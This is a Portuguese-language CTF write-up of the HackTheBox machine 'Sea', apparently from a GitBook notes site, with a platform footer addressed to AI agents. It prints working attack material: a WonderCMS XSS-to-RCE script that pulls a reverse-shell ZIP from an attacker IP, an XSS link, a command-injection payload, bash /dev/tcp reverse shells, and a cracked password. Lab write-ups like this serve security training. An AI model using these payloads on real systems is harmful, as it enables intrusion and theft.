> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md).

# Relato da máquina Sea no HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Sea>" %}

{% hint style="warning" %}
**Habilidades**:

* Exploração do Wonder CMS
* Vulnerabilidade de CSRF
* (de XSS para RCE)
* Encaminhamento de Porta
* Vulnerabilidade de envenenamento de log (LFI - RCE)
  {% endhint %}

## Reconhecimento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/df4b329f99503353d91f7f444c7c82f9e35c90c3" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/863eff30fbc0034131c035e25e776e7ff73b561e" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts
```

<figure><img src="/files/f34e15bd16214f9988e481527319aa6da37c58b0" alt="" width="563"><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (22.80)

<figure><img src="/files/d0e97056e99fb69947e7749d0e6007c90a101646" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,22 10.10.11.28 -oN targeted
```

<figure><img src="/files/f4d9e4f808816280420cebddf42466a93683c898" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, insira o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo.

<figure><img src="/files/dab774937549d8544d014a21f265d29742c7e8f9" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/f620a481a0d396a1517f879f15266b553deef87b" alt=""><figcaption></figcaption></figure>

**Descoberta de um site de contato:**

<figure><img src="/files/a55f3c9e49a425d3651333886385030729b558c3" alt=""><figcaption></figcaption></figure>

**Verificando as comunicações entre o servidor e o site:**/ Encontramos uma parte do site dedicada a contatos. Verificamos se o servidor está enviando frames para este site.

<figure><img src="/files/70dc95deeb997adee25a50e969612924e41098d6" alt=""><figcaption></figcaption></figure>

**Recebimento de um frame em nosso servidor web:**/ Para capturar esse frame, configuramos um servidor HTTP simples com Python:

```bash
python3 -m http.server 555
```

<figure><img src="/files/d7af8d83fa5f541b609fe2ffb010d2e1dd067341" alt=""><figcaption></figcaption></figure>

**Interceptando a requisição com** [Burp Suite ](/pt-br/hacking-tools/web/burpsuite.md)**:**/ Interceptamos a requisição com Burp Suite para analisar as comunicações.

## **Possível** [**SSRF**](/pt-br/web/ssrf.md)**:**

#### Tentamos listar serviços internos usando um ataque SSRF, modificando o parâmetro de consulta:

```bash
&website=http:127.0.0.1
```

<figure><img src="/files/c452febef8c8643404f3d99bd31f129da552b3d8" alt=""><figcaption></figcaption></figure>

**Descoberta de portas internas com o Intruder:**/ Usamos o Intruder do Burp Suite para realizar um ataque de força bruta e descobrir portas internas abertas.

<figure><img src="/files/e16bad21301bd91b282b8ece5141e1f8205a506b" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/ee87a7aefd1369376e38ce3359470d1ea81ca051" alt=""><figcaption></figcaption></figure>

**Filtrando respostas:**/ Filtramos as respostas com base no tamanho para identificar quais são relevantes, mas todas são iguais.

<figure><img src="/files/ddd9a570322b664626a9b00707da6bdd36108eb9" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade do WonderCMS ([CSRF](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)): (de XSS para RCE) <a href="#wondercms-vulnerability" id="wondercms-vulnerability"></a>

**Busca de diretórios:**/ Usamos Gobuster para procurar diretórios no site:

```bash
gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Isso nos retorna o **/themes** diretório com um código de redirecionamento 301.

<figure><img src="/files/bb77b37ebe7e922ea859b2abe4be83eb533e700c" alt=""><figcaption></figcaption></figure>

**Explorando o diretório themes:**/ Continuamos a busca adicionando o caminho descoberto à URL e explorando o **/themes** diretório

```bash
gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Encontramos o **/bike** subdiretório.

<figure><img src="/files/e73b34901c120323d505815ffea37e3f75fb343c" alt=""><figcaption></figcaption></figure>

**Filtrando por Extensões de Arquivo:**/ Usamos *ffuf* para filtrar arquivos com determinadas extensões (php, html, png etc.) no **/bike** diretório:

```bash
ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403
```

Este comando nos permite encontrar um arquivo chamado **README.md**

<figure><img src="/files/a0ec7fac818504b55c32c2e193658f713ebac800" alt=""><figcaption></figcaption></figure>

Encontramos um `README.md` arquivo que indica que o servidor usa um tema chamado "WONDER", que é um CMS.

<figure><img src="/files/a855be668f317866bfbcbde43208c6977a5cdac8" alt=""><figcaption></figcaption></figure>

Ao buscar vulnerabilidades relacionadas a este CMS, descobrimos uma falha que permite execução remota de código (RCE) via injeção XSS.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**Código JavaScript para obter uma shell:**/ O código JavaScript a seguir baixa um arquivo ZIP malicioso contendo um script de shell reversa e depois o executa no servidor:

```javascript
// o servidor tem algum problema para resolver nome de domínio com JavaScript
// podemos simplesmente fornecer a URL alvo como parâmetro obrigatório
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// modificar o caminho do arquivo ZIP servido no servidor HTTP
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // visitar rev.php dentro do arquivo ZIP enviado
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // acionar o script de shell reversa e fornecer o IP e a porta do listener
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**Instalação do script de exploit para a vulnerabilidade (CVE-2023-41425):**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

Executamos o script de exploração:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

O script acima envia uma requisição para nosso servidor na porta 8000 por meio de um `xss.js` arquivo, nos concedendo acesso RCE e controle da máquina-alvo.

<figure><img src="/files/bae9a90f80b74b8affabf9bbfb1b86eaa9e9cd7d" alt=""><figcaption></figcaption></figure>

**Passo final:**

Precisamos enviar o link de XSS para o admin por meio do `contact.php` formulário para enganá-lo a clicar no link malicioso:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?\"></form><script+src=\"http://10.10.14.89:8000/xss.js\"></script><form+action=\"
```

{% endcode %}

<figure><img src="/files/fb693308de2073b2d0004effbc919f6e91212ac0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3188d46faa4705e139f416ffabce9d29841257ea" alt=""><figcaption></figcaption></figure>

**Escutando com Netcat:**/ Escutamos na porta 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/491a680aff3da7ad5f4937d72a16e661ab4abb83" alt=""><figcaption></figcaption></figure>

#### Depois de obter acesso ao servidor Linux, use os seguintes comandos para estabilizar o terminal <a href="#terminal-stabilization" id="terminal-stabilization"></a>

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Estabilize a shell para um trabalho mais confortável. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Escalada de privilégio:

Como o usuário *www-data*, vamos filtrar o conteúdo usando o `find` comando para procurar apenas arquivos que contenham a palavra "**senha**" no diretório do servidor web `/var/www/sea`.

```bash
find /var/www/sea -type f -exec grep -Hn "password" {} /
```

Encontramos uma senha criptografada no `database.js` arquivo:

`$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q`

<figure><img src="/files/60c0bde1a7a0f07834c9524cd32fab0359749f59" alt=""><figcaption></figcaption></figure>

Para quebrar essa senha, usamos a **John the Ripper** ferramenta com o `rockyou.txt` arquivo de dicionário:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/12cd343df3e9f9b0069eacd922a92af3af22b1f6" alt=""><figcaption></figcaption></figure>

A senha descriptografada é mychemicalromance

Agora tentaremos nos conectar com os dois usuários disponíveis no sistema: "geo" e "amays".

<figure><img src="/files/2aadd79a5d484587c1ba83036ea7a0b39c0e1324" alt=""><figcaption></figcaption></figure>

A senha do usuário **amays** está correta.

### Flag user.txt

<figure><img src="/files/79bafd787b3fa02a8bc9e22df59b379eac9c34b3" alt="" width="563"><figcaption></figcaption></figure>

Analisando as comunicações da rede interna, descobrimos que a porta 8080 estava em uso:

```bash
netstat -ano
netstat -nltp
```

<figure><img src="/files/dfef38e5c96f662a48298ccdec59a717caba7a6b" alt=""><figcaption></figcaption></figure>

Portanto, redirecionaremos a porta 8080 do servidor para nossa máquina atacante via SSH usando encaminhamento de porta, a partir da porta 8888:

```bash
ssh -L 8888:localhost:8080 amay@10.10.11.28
```

Uma vez conectado, encontramos um painel de login.

<figure><img src="/files/ca1e74487bb92973826b99a6b960c9323556e092" alt=""><figcaption></figcaption></figure>

Com as credenciais do usuário `amay`: `mychemicalromance`, conseguimos nos conectar a um sistema de monitoramento.

<figure><img src="/files/6f1d75726f71f30f8355063531d06dcaee2b9e43" alt=""><figcaption></figcaption></figure>

Podemos observar os registros de conexão de `root`.

<figure><img src="/files/296e67bc5096e1a4fd8bc1aad7d21faf23f93ead" alt=""><figcaption></figcaption></figure>

Ao interceptar a requisição com o Burp Suite, notamos que ele exibe o conteúdo do `/var/log/apache2/access.log` arquivo de uma forma mais estruturada.

<figure><img src="/files/ce0b6d819f2519097396f4540e5c6146babe5268" alt=""><figcaption></figcaption></figure>

Este arquivo só pode ser aberto pelo usuário `root`.

<figure><img src="/files/a3df83f895287b3b46e694b8e22d617018680fa6" alt=""><figcaption></figcaption></figure>

### Vulnerabilidade [(LFI - RCE) Envenenamento de logs](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md):

Se tentarmos listar um arquivo como `/etc/passwd`, por exemplo:

```
log_file=/etc/passwd  &analyze_log=/etc/passwd
```

O arquivo é listado :)

<figure><img src="/files/8419a87f8ba8fd1411cfe5262ae75b3f151d8614" alt=""><figcaption></figcaption></figure>

Em seguida, tentaremos ler o arquivo que contém a `root` flag e observamos que é possível executar comandos (como `id`):

```bash
log_file=/root/root.txt;id;----&analyze_log=/root/root.txt
```

<figure><img src="/files/1ef7f33cca6d525745d4af028906504c54234c52" alt=""><figcaption></figcaption></figure>

### **Acesso completo (shell reversa):**

Para obter uma shell reversa, executamos o seguinte comando:

{% code fullWidth="false" %}

```bash
bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261"
```

{% endcode %}

{% code overflow="wrap" fullWidth="true" %}

```
log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt
```

{% endcode %}

Em seguida, escutamos com `nc`:

```bash
nc -nvlp 443
```

### Flag root :)

<figure><img src="/files/2fcbff11dd506192125868376eefbde97a7e4040" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fa52e4d855bae6cb00e4a419a74f760a4c70a7d2" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
